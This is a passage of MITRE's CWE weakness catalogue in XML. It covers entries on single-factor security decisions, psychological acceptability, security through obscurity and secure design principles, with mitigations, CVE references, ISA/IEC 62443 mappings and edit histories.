            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Separation of Privilege</Term>
               <Description>Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this entry is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use redundant access rules on different choke points (e.g., firewalls).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SD-3</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SD-4</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SI-1</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="274"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="55"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-535"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this entry). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Maintenance_Notes, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Reliance on a Single Factor in a Security Decision</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="655" Name="Insufficient Psychological Acceptability" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
	 <Taxonomy_Mappings>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-1</Entry_ID>
             <Entry_Name>Req 4.3.3.6</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
             <Entry_Name>Req SD-4</Entry_Name>
           </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-539"/>
            <Reference External_Reference_ID="REF-540"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 14: Poor Usability.&#34; Page 217"/>
         </References>
         <Notes>
            <Note Type="Other">This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.</Note>
	    <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>	
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Nicolai Plum</Contribution_Name>
				  <Contribution_Date>2022-07-16</Contribution_Date>
				  <Contribution_Comment>Provided new links for a reference that improved multiple CWEs.</Contribution_Comment>
				</Contribution>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Failure to Satisfy Psychological Acceptability</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Satisfy Psychological Acceptability</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="656" Name="Reliance on Security Through Obscurity" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.</Description>
         <Extended_Description>This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="259" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="321" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="472" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Never Assuming your secrets are safe</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>The security mechanism can be bypassed easily.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.</Intro_Text>
         <References>
                  <Reference External_Reference_ID="REF-542"/>
               </References>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-6588</Reference>
               <Description>Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6588</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-7142</Reference>
               <Description>Hard-coded cryptographic key stored in executable program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7142</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4002</Reference>
               <Description>Hard-coded cryptographic key stored in executable program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4002</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4068</Reference>
               <Description>Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4068</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-544"/>
            <Reference External_Reference_ID="REF-542"/>
         </References>
         <Notes>
            <Note Type="Relationship">Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Reliance on Security through Obscurity</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="657" Name="Violation of Secure Design Principles" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product violates well-established principles for secure design.</Description>
         <Extended_Description>This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
	 <Taxonomy_Mappings>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
             <Entry_Name>Req SD-3</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
             <Entry_Name>Req SD-4</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
             <Entry_Name>Req SI-1</Entry_Name>
           </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-546"/>
         </References>
	 <Notes>
	    <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
	 </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2008-01-30</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
